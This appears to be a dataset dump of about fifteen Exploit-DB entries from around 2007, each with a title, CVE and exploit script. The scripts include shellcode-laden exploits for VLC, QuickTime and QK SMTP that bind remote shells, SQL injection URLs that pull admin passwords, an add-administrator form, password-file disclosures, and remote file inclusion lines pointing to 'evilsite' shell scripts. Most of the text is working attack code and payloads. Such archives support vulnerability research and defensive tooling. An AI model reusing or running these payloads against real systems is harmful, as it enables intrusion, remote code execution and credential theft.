QLWD/code_shield huggingface dataset:
标题: VideoLAN VLC Media Player 0.8.6 (x86) - 'udp://' Format String EDB-ID: 3070 CVE: 2007-0017 类型: LOCAL 平台: OSX 发布日期: 2007-01-02 漏洞利用脚本: #!/usr/bin/perl
#
# http://www.digitalmunition.com/VLCMediaSlayer-x86.pl
# Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# This exploit will create a malicious .m3u file that will cause VLC Player for OSX to execute arbitrary code.
#

$outfile = "pwnage.m3u";

$bindshell =
"\x6a\x42\x58\xcd\x80\x6a\x61\x58\x99\x52\x68\x10\x02\x11\x5c\x89" .
"\xe1\x52\x42\x52\x42\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a" .
"\x68\x58\xcd\x80\xb0\x6a\xcd\x80\x52\x53\x52\xb0\x1e\xcd\x80\x97" .
"\x6a\x02\x59\x6a\x5a\x58\x51\x57\x51\xcd\x80\x49\x0f\x89\xf1\xff" .
"\xff\xff\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50" .
"\x54\x54\x53\x53\xb0\x3b\xcd\x80";

# MALLOC                 02800000-03008000 [ 8224K] rw-/rwx SM=COW  ...e_0x1300000
# Pattern found @ 0x298589e
# Pattern found @ 0x298ba92

$jmpaddr = 0x41424344;

$lo = ($jmpaddr >> 0) & 0xffff;
$hi = ($jmpaddr >> 16) & 0xffff;

printf "jump address is: 0x%x%x\n", $hi, $lo;

$format = "%25" . ($lo-0x24) . "d" . "%25" . "23" . "%24" . "hn" . "%25" . ($hi-$lo) . "d" . "%25" . "24" . "%24" . "hn" ;

$writeaddr = 0xa0011393 ; # <dyld_stub___vfprintf>

printf "writing to file: %s\n", $outfile;
open(PWNED,">$outfile");

print PWNED "#EXTM3U\n" . "#EXTINF:0,1-07 " . "\x90" x 50 . $bindshell . "\n" .
"udp://--" . pack('l', $writeaddr+2) . pack('l', $writeaddr) .
$format . "i" x (999 - length("Can't get file status for ") ) . "\n";

close(PWNED);

# milw0rm.com [2007-01-02] URL: https://www.exploit-db.com/exploits/3070
标题: Formbankserver 1.9 - 'Name' Directory Traversal EDB-ID: 3063 CVE: 2007-0055 类型: REMOTE 平台: WINDOWS 发布日期: 2007-01-01 漏洞利用脚本: #!perl
#found by Bl0od3r
#visit http://dc3.dl.am  
#download:http://www.download-tipp.de/cgi-bin/jump.cgi?ID=8796
#developer:http://www.fersch.de/formbankserver/
use LWP::Simple;
sub usage
{
die("file.pl host.com /../file.txt");
}
$host= $ARGV[0];
$file= $ARGV[1];
if (!$host) {
die("No Host.");
} ; if (!$file) {
die("No File.");
}
getprint "http://".$host ."/cgi-bin/formbankcgi.exe/AbfrageForm?Name=".$ARGV[1]."%00";

# milw0rm.com [2007-01-01] URL: https://www.exploit-db.com/exploits/3063
标题: AutoDealer 2.0 - 'detail.asp?iPro' SQL Injection EDB-ID: 3062 CVE: 2007-0053 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-01 漏洞利用脚本: *******************************************************************************
# Title   :  autoDealer <= 2.0 (iPro) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.aspsiteware.com
# $$      :  $60.00

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//detail.asp?iPro=[SQL]

Example:

//detail.asp?iPro=-1%20union%20select%200,0,U_ACCESS,0%20from%20users
//detail.asp?iPro=-1%20union%20select%200,0,U_PASSWORD,0%20from%20users

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-01] URL: https://www.exploit-db.com/exploits/3062
标题: WWWBoard 2.0 - 'passwd.txt' Remote Password Disclosure EDB-ID: 3065 CVE: 1999-0953 类型: WEBAPPS 平台: CGI 发布日期: 2007-01-01 漏洞利用脚本: WWWBoard 2.0 Alpha 2 (passwd.txt) Password Disclosure Vulnerability



Affected Software: WWWBoard 2.0 Alpha

Download: http://www.scriptarchive.com/wwwboard.html

Bugfounder: bd0rk

Contact: bd0rk[at]hackermail.com

Greetz: str0ke, Döner, TheJT, x0r_32

[+]Exploit: http://[target]/[www_board_path]/passwd.txt

# milw0rm.com [2007-01-01] URL: https://www.exploit-db.com/exploits/3065
标题: VideoLAN VLC Media Player 0.8.6 (PPC) - 'udp://' Format String (PoC) EDB-ID: 3069 CVE: 2007-0017 类型: DOS 平台: OSX 发布日期: 2007-01-02 漏洞利用脚本: #!/usr/bin/perl
#
# http://www.digitalmunition.com/VLCMediaSlayer-ppc.pl
# Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# This is just a vanilla format string exploit for OSX on ppc. We overwrite a saved return addy with our shellcode address.
# This code currently overwrites the saved return addy with the stack location of our shellcode.
#
# This exploit will create a malicious .m3u file that will cause VLC Player for OSX to execute arbitrary code.
#

# 0xf02031d2:      "--? 0j? 0h%11$hn.%12$hn", 'X' <repeats 177 times>...
# 0xf020329a:      'X' <repeats 200 times>...
# 0xf0203362:      'X' <repeats 200 times>...
# 0xf020342a:      'X' <repeats 200 times>...
# 0xf02034f2:      'X' <repeats 194 times>, "ZY"
# 0xf02035b7:      ""
# 0xf02035b8:      'X' <repeats 16 times>, "? 5?\005\017G?? 60"
# 0xf02035d5:      ""
# 0xf02035d6:      ""
# 0xf02035d7:      "\004\005\016

$format =
# make it more robust yourself... I'm lazy
# land in 0xf020 3362 - middle of shellcode
# "%2511%24hn.%2512%24hn" .
#
"%25" . (0x3362-0x24) . "d" . "%25" . "11" . "%24" . "hn" .
"%25" . 0xBCBE . "d" . "%25" . "12" . "%24" . "hn" ;

# 0xf020 3068 saved ret for MsgQueue()
$writeaddr = 0xf0203068;

open(PWNED,">pwnage.m3u");

print PWNED "#EXTM3U\n" ."udp://--" . pack('l', $writeaddr+2) . pack('l', $writeaddr) .
$format ."i" x (999 - length("Can't get file status for ") ) ."\n";

close(PWNED);

# milw0rm.com [2007-01-02] URL: https://www.exploit-db.com/exploits/3069
标题: LocazoList 2.01a beta5 - 'subcatID' SQL Injection EDB-ID: 3073 CVE: 2007-0129 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-03 漏洞利用脚本: *************************************************************************************
# Title   :  LocazoList <= v2.01a beta5 (subcatID) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.locazo.net:81
# Dork    :  "Powered by Locazolist Copyright © 2006"
# $$      :  $100

*************************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//main.asp?catid=1&subcatID=[SQL]

Example:

//main.asp?catid=1&subcatID=-1%20union%20select%200,username,0,0,0%20from%20admin%20where%20id%20like%201
//main.asp?catid=1&subcatID=-1%20union%20select%200,password,0,0,0%20from%20admin%20where%20id%20like%201

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-03] URL: https://www.exploit-db.com/exploits/3073
标题: Apple QuickTime - 'rtsp URL Handler' Remote Stack Buffer Overflow EDB-ID: 3064 CVE: 2007-0015 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-01-01 漏洞利用脚本: #!/usr/bin/ruby
# Copyright (c) LMH <lmh [at] info-pull.com>
#               Kevin Finisterre <kf_lists [at] digitalmunition.com>
#
# Notes:
# Our command string is loaded on memory at a static address normally,
# but this depends on execution method and the string length. The address set in this exploit will
# be likely successful if we open the resulting QTL file directly, without having an
# instance of Quicktime running. Although, when using another method and string, you'll need
# to find the address.
# For 100% reliable exploitation you can always use the /bin/sh address,
# but that's not as a cool as having your box welcoming the new year.
# Do whatever you prefer. That said, enjoy.
# 
# see http://projects.info-pull.com/moab/MOAB-01-01-2007.html

# Command string: Use whatever you like.
# Remember that changing this will also need a change of the target address for system(),
# unless string length is the same.
CMD_STRING  = "/usr/bin/say Happy new year shit bag"

# Mac OS X 10.4.8 (8L2127)
EBP_ADDR    = 0xdeadbabe
SYSTEM_ADDR = 0x90046c30 # NX Wars: The Libc Strikes Back
SETUID_ADDR = 0x900334f0
CURL_ADDR   = 0x916c24bc # /usr/bin/curl
SHELL_ADDR  = 0x918bef3a # /bin/sh
CMDSTR_ADDR = [
                SHELL_ADDR, # 0 addr to static /bin/sh     (lame)
                0x17a053c, # 1 addr to our command string (cool) :> (change as necessary)
                0xbabeface, # 2 bogus addr for testing.
                CURL_ADDR   # 3 addr to '/usr/bin/curl'
              ]

# Payload
HAPPY = ("A" * 299) +
        [EBP_ADDR].pack("V")    +
        [SYSTEM_ADDR].pack("V") +
        [SETUID_ADDR].pack("V") +
        [CMDSTR_ADDR[1]].pack("V")  # change array index for using diff. addr

# Sleds: not necessary if using /bin/bash addr or other built-in addresses.
# although, for using our own fu, we need to spray some data for better reliability
# the goal is causing allocation of large heap chunks
NEW   = ("\x90" * 30000) + CMD_STRING   # feed the heap
YEAR  = ("\x90" * 30000) + CMD_STRING   # go johnny, go
APPLE = ("\x90" * 30000) + "EOOM"       # feed the heap more
BOYZ  = ("\x90" * 30000) + "FOOM"       # and more

# QTL output template
QTL_CONTENT = "<?xml version=\"1.0\"?>" +
              "<?quicktime type=\"application/x-quicktime-media-link\"?>" +
              "<embed autoplay=\"true\" moviename=\"#{NEW}\" " +
              "qtnext=\"#{YEAR}\" type=\"video/quicktime#{APPLE}\" " +
              "src=\"rtsp://#{BOYZ}:#{HAPPY}\" />\n"

target_file = File.open("pwnage.qtl", "w+") { |f|
  f.print(QTL_CONTENT)
  f.close
}

# milw0rm.com [2007-01-01] URL: https://www.exploit-db.com/exploits/3064
标题: QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) EDB-ID: 3067 CVE: 2006-5551 类型: REMOTE 平台: WINDOWS 发布日期: 2007-01-01 漏洞利用脚本: #!/bin/perl
#
#https://www.securityfocus.com/bid/20681
#
# tested on winXp Pro SP0 English/winXp Pro SP2 Italian/win 2k SP4 Italian/English return address is universal
# bind a remote cmd.exe on target host on 4444 port; based on expanders original exploit
# credit to Greg Linares for discovered the vulnerability
# thanks to hdm and vlads902 for original shellcode;encoded using Skylined alpha2 tool
# Jacopo Cervini aka acaro [at] jervus.it


if (@ARGV < 1) {
print "--------------------------------------------------------------------\n";
print "Usage : qksmtp-rcpt-overflow-4444.pl TargetIPAddress \n";
print " Example : ./qksmtp-rcpt-overflow-4444.pl 127.0.0.1 \n";
print "--------------------------------------------------------------------\n";
}



use IO::Socket::INET;

my $host = shift(@ARGV);
my $port = 25;
my $reply;
my $request;
#my $eip="\x43\x43\x43\x43"; 

my $eip="\x8f\x29\x46\x00"; #call esp in QKSmtpServer3.exe



$sc=
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZ".
"BABABABABkMAGB9u4JBYlQZjKNmiXkIyokOkOOptKplmTo4RkQ5oL2kCLm5PxkQJORkPOLX4KOoKpIqjKOYtKP4DKkQZNp1upryVLqtWP".
"44LGWQgZjmjaXBJKL4MkntktnHt5IURkqOnDkQzKqVRkLLNkRkQOMLM1xkm3NLTKQyBLO4mLoqy3lqIK34rkmsLptKQ0LL4KppmL4mdKM".
"pKXOnaX4N0NLNjLNpKOz6ovOcRFOxlsOBphSGRSoBaOOdkOXPRH8KjMKLOKpPkO6vQOTIXeOve1JMm8JbnuqZKRkOHPbH7izizUvMPWYo".
"6vnsOcQCb3PSMsNsOSNskOfp1VqXLQ1LrFnsu99QTUQXTdMJ2PewqGkOVvqZZpnqPUkOXPph3tTmNNZINwKO6vns0UKO6pOxIUoYBfa9r".
"7Yo6vb00TOdR5YoHP3cRHgwRYGVbYnwkOJ6OeyoJ0s60j1T36OxqSrMU9jEozPPPYNIxLQyzGrJmtriYRnQGPZSdjkNORlmynMrnL63Bm".
"PznXvKFKVKqXPrKNvSMFyoD5Mtyo6vqKPWPRPQoaNqbJkQpQpQoepQKOfpOxtmz9m58NNsiovv2JYoyoLw9oVpDK27ilqsvds4KOWfpRk".
"OvpOxhp1zitOonsKOyFKO6pA";


$jmpback = "\x50\x73".
"\x54\x73".
"\x58\x73".
"\xb0".
"\x48\x73".
"\xb0\x48\x73".
"\xb0\x48\x73".
"\xb0\x48\x73".
"\xb0\x48\x73".
"\xb0\x48\x73".
"\xb0\x48\x73".
"\xb0\x48\x73".
"\xb0\x48\x73".
"\xb0\x48\x73".
"\xb0\x48\x73".
"\xb0\x48\x73".
"\xb0\x48\x73".
"\x40\x73".
"\x40\x73".
"\x40\x73".
"\x40\x73".
"\x40\x73".
"\x40\x73".
"\x40\x73".
"\x50\x73".
"\xc3\x73";

my $buffer =("\x41"x296).$eip.("\x73"x2228).$sc.("\x45"x820).$jmpback."\x00";



my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

recv($socket, $reply, 1024, 0);
print "Response:" . $reply;


$request = "helo acaro" . "\r\n";
send $socket, $request, 0;
print "[+] Sent helo request\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
sleep(1);

$request = "mail from: acaro@peaceandlove.peace" . "\r\n";
send $socket, $request, 0;
print "[+] Sent mail from request\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
sleep(1);

$request = "rcpt to: " . $buffer . "\r\n";
send $socket, $request, 0;
print "[+] Sent rcpt to request\n";



print " + connect on 4444 port of $host ...\n";
sleep(3);
system("telnet $host 4444");
exit;

# milw0rm.com [2007-01-01] URL: https://www.exploit-db.com/exploits/3067
标题: TaskTracker 1.5 - 'Customize.asp' Remote Add Administrator EDB-ID: 3068 CVE: 2007-0049 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-01 漏洞利用脚本: <!--

*******************************************************************************
# Title   :  TaskTracker All Version Remote Add Admin Exploit
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.geckovich.com
# $$      :  $39.99 - $19.99

*******************************************************************************

-->

<FORM NAME="AddUser" METHOD="POST" ACTION="http://[target]/[path]/Customize.asp?a=Add" style="word-spacing: 0; margin-top: 0; margin-bottom: 0">
 <td valign=top class='data3'>
        <input type=text size="1" name="Name" class=textboxes style='width:100; height:17; font-size: 10px;' VALUE="">
 </td>
 <td valign=top class='data3'>
  <input type=text size="1" name="Email" class=textboxes style='width:200; height:17; font-size: 10px;' VALUE="">
 </td>
 <td valign=top class='data3'>
  <input type=text size="1" name="UserName" class=textboxes style='width:100; height:17; font-size: 10px;' VALUE="">

 </td>
 <td valign=top class='data3'>
  <input type=text size="1" name="Password" class=textboxes style='width:100; height:17; font-size: 10px;' VALUE="">
 </td>
 <td valign=top class='data3'>
  <select name="GroupID" class="selectedtextboxes">
   <option value="1">Publisher</option>
   <option value="2">Editor</option>

   <option value="3">Administrator</option>
  </select>
 </td>
 <td valign=middle class='data3' align="center" colspan="2" align="center">
     <input type="submit" value="Gonder">
     </form>

# milw0rm.com [2007-01-01] URL: https://www.exploit-db.com/exploits/3068
标题: NewsCMSLite - 'newsCMS.mdb' Remote Password Disclosure EDB-ID: 3066 CVE: 2007-0091 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-01 漏洞利用脚本: newsCMSlite (newsCMS.mdb) Remote Password Disclosure Vulnerablity

Author:  KabusTR.coM <KaBuS [at] KabusTr.coM>
Homepage: http://kabustr.com


#KabusTr.coM | KaBuS | Hkinq | SinsiTr | Bey@z_KurT | DeMoN |
#From Turkiye - Www.KabusTr.coM
#Risk: Low
#Download Adress: http://www.katywhitton.com/downloads/newsCMSlite/
#Type:Remote Database Download
#http://TARGET/path/newsCMS.mdb
#Demo: http://www.katywhitton.com/downloads/newsCMSlite/newsadmin.asp

# milw0rm.com [2007-01-01] URL: https://www.exploit-db.com/exploits/3066
标题: Vizayn Haber - 'haberdetay.asp?id' SQL Injection EDB-ID: 3061 CVE: 2007-0052 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-01 漏洞利用脚本: ###############################################################
#Vizayn Haber (tr) == (tr) SQL Injection Vulnerability
#Author : chernobiLe
#Site : www.cyber-sabotage.org , www.chernobiLe.com
#Contact: info@cyber-sabotage.org
###############################################################
#Risk : High
#Download Link Of Vizayn Haber : http://aspindir.com/goster/4623


#Exploit;
#Admin Nick, Passport, Mail;
http://[SITE]/haberdetay.asp?id=1+union+select+0,PASSWORD,EMAIL,USERNAME+from+ADMIN

#Union data Text;
#Haber Eklenme Tarihi :  USERNAME
#Haber Basligi :               PASSWORD

#Greetz: All CSDT ( Cyber Sabotage and Defacer ) TEAM

# milw0rm.com [2007-01-01] URL: https://www.exploit-db.com/exploits/3061
标题: Bubla 0.9.2 - 'bu_dir' Multiple Remote File Inclusions EDB-ID: 3059 CVE: 2006-6867 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-31 漏洞利用脚本: **********************************************************************************************************
                                              DeltasecurityTEAM
                                              WwW.Deltasecurity.iR
**********************************************************************************************************

* Portal Name = Bubla 0.9.1

* Class = Remote File Inclusion

* Risk = High (Remote File Execution)

* Download = http://download.sourceforge.net/pub/sourceforge/b/bu/bubla/bubla-0.9.1.tar.gz

* Discoverd By = DeltahackingTEAM

* User In Delta Team = Davood_Cracker

* Conatact = Davood_cracker@yahoo.com

* 128 Bit Security Server= www.takserver.ir

* Just Delta Hacking Security TEAM *
--------------------------------------------------------------------------------------------

- Exploit:


http://localhost/[PATH]/bu/bu_claro.php?bu_dir=http://evilsite/Shell.php?
http://localhost/[PATH]/bu/bu_cache.php?bu_dir=http://evilsite/Shell.php?
http://localhost/[PATH]/bu/bu_parse.php?bu_dir=http://evilsite/Shell.php?
--------------------------------------------------------------------------------------------

Gr33tz : Dr.Trojan , Hiv++ , D_7j , Vpc

SP TNX : Dr.Pantagon

**********************************************************************************************************

# milw0rm.com [2006-12-31] URL: https://www.exploit-db.com/exploits/3059
标题: Rediff Bol Downloader - ActiveX Control Execute Local File EDB-ID: 3058 CVE: 2006-6838 类型: REMOTE 平台: WINDOWS 发布日期: 2006-12-31 漏洞利用脚本: <!--
Rediff Bol Downloader ActiveX Allows Downloading and Spawning Arbitary
Files
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Affected Program : Rediff Bol Download ActiveX
ActiveX (OCX) Control that downloads the Rediff Bol Messenger
setup and spawns it.


Related URL : http://messenger.rediff.com/newbol/


Discovered by : Gregory R. Panakkal


Vulnerability Description :

Rediff Bol Downloader ActiveX control allows any webpage
to download and spawn file. These file can be of any type.
No filtering is done.

IE Displays an alert, if the code points to a executable file on the
internet. But execution of local files displays no alert.


Tested On :
* IE 7.0.5730.11 (WinXP SP2)
* IE 6.0.2900.2180 (WinXP SP2)
-->

<html>

<body>
<OBJECT id="rboldwn" WIDTH=445 HEIGHT=40 classid="clsid:BADA82CB-BF48-4D76-9611-78E2C6F49F03" codebase="http://imdownloads.rediff.com/newbol/Bol.CAB">
</OBJECT>

<script language="vbscript">
 rboldwn.url = "file://C:/WINNT/Notepad.exe"
 rboldwn.fontsize = 14
 rboldwn.barcolor = EE4E00
 rboldwn.start = "start"
</script>

</body>
</html>

# milw0rm.com [2006-12-31] URL: https://www.exploit-db.com/exploits/3058
标题: Vz (Adp) Forum 2.0.3 - Remote Password Disclosure EDB-ID: 3053 CVE: 2006-6891 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-31 漏洞利用脚本: ##########################################################################################################
#Sv(ADP) Forum 2.0.3 Remote Password Disclosure Vulnerablity                 
##########################################################################################################
#S.name:ADP Forum                                                            
#Affected version:2.0.3                                                      
#Download&Demo:http://www.linux.it/~fedro/index.php?pag=scripts&lang=en      
#Risk:Very Highly Critical                                                   
##########################################################################################################
#Author:Dr Max Virus                                                         
#Location:Egypt                                                              
##########################################################################################################
#POC:                                                                        
#http:/[target]/[path]/users/admin.txt                                       
#As We see Admin name and hash          !!!!!!!!!!!!!!!!!!!!!!!!!!
##########################################################################################################
#You can crack the password with any md5 encrypt                             
                             
#Or u can register and inject the info in any cookie editor can be in 
FireFox or Opera                   
##########################################################################################################
#Dork:ADP Forum 2.0.3 is powered by VzScripts                                
##########################################################################################################
#Thx:str0ke-koray-Timq-r0ut3r-mTk-nuffsaid-MrSwan-All Friends                
#Special Gr33ts:AsianEagle-Kacper-The master-Hotturk                         
##########################################################################################################

# milw0rm.com [2006-12-31] URL: https://www.exploit-db.com/exploits/3053
标题: Enigma 2 Coppermine Bridge - 'boarddir' Remote File Inclusion EDB-ID: 3050 CVE: 2006-6864 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-30 漏洞利用脚本: -----------------------------------------------

Enigma Coppermine Bridge (boarddir) Remote File Include

-----------------------------------------------


Author: xoron

-----------------------------------------------
 
Vuln Code:

require_once($boarddir . '/PortalSources/Portal.ini.php');

-----------------------------------------------

3xplo!t:

/bridge/enigma/E2_header.inc.php?boarddir=http://evil_scripts?

-----------------------------------------------

download:  http://www.lunabyte.org/index.php?PHPSESSID=376bd47985f6c37b06ceb727b0879287&module=Downloads;sa=dlview;id=7

-----------------------------------------------
XORON   -   XORON   -   XORON   -   XORON   -   XORON
-----------------------------------------------------------
-                                                         -
-                                                         -
- Tum muslumanlarin kurban bayrami simdiden mubarek olsun -
-                                                         -
-              Greetz: str0ke, Kacper                     -
-                                                         -
-----------------------------------------------------------

# milw0rm.com [2006-12-30] URL: https://www.exploit-db.com/exploits/3050